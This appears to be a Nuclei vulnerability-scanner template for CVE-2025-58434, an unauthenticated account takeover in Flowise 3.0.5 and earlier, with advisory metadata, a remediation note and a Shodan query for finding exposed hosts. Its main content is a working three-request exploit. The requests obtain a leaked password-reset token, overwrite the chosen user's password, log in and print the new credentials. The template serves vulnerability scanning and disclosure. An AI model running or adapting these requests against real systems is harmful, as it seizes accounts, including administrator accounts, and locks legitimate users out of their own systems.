id: CVE-2025-58434 info: name: Flowise <= 3.0.5 - Account Takeover author: nukunga[seunghyeonJeon] severity: critical description: | Flowise versions 3.0.5 and earlier had a vulnerability in the forgot-password endpoint, which returned valid reset tokens without authentication—allowing attackers to reset passwords and take over accounts. impact: | Unauthenticated attackers can obtain valid password reset tokens without authentication, enabling account takeover of any user including administrators through password reset attacks. remediation: | Upgrade Flowise to version 3.0.6 or later that properly protects password reset token generation. reference: - https://github.com/advisories/GHSA-wgpv-6j63-x5ph - https://nvd.nist.gov/vuln/detail/CVE-2025-58434 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2025-58434 epss-score: 0.47326 epss-percentile: 0.98713 cwe-id: CWE-306 metadata: verified: true shodan-query: http.title:"Flowise - Build AI Agents, Visually" tags: cve,cve2025,flowise,ato,rce,unauth,vuln,ai variables: username: "{{username}}" new_password: "{{rand_text_alphanumeric(12)}}" flow: http(1) && http(2) && http(3) http: - raw: - | POST /api/v1/account/forgot-password HTTP/1.1 Host: {{Hostname}} Content-Type: application/json {"user":{"email":"{{username}}"}} extractors: - type: regex name: token part: body group: 1 regex: - '"tempToken":"([A-Za-z0-9]{64})"' internal: true matchers: - type: dsl dsl: - status_code == 201 internal: true - raw: - | POST /api/v1/account/reset-password HTTP/1.1 Host: {{Hostname}} Content-Type: application/json { "user": { "email": "{{username}}", "tempToken": "{{token}}", "password": "{{new_password}}" } } matchers: - type: dsl dsl: - status_code == 201 internal: true - raw: - | POST /api/v1/auth/login HTTP/1.1 Host: {{Hostname}} Content-Type: application/json { "email": "{{username}}", "password": "{{new_password}}" } matchers-condition: and matchers: - type: dsl dsl: - status_code == 200 - contains_all(body, 'id', '{{username}}', 'activeWorkspaceId') condition: and extractors: - type: dsl dsl: - '"Password:" + new_password' # digest: 4a0a0047304502200d8ae5d9ea9917fd24ef6a227849e237061838d1ff3ee5d3f4cd855239850d6f022100beab618ad4d86f55c620b2a97dbba7f6c0a6b2a6792294df1d09f5af328c7849:922c64590222798bb761d5b6d8e72950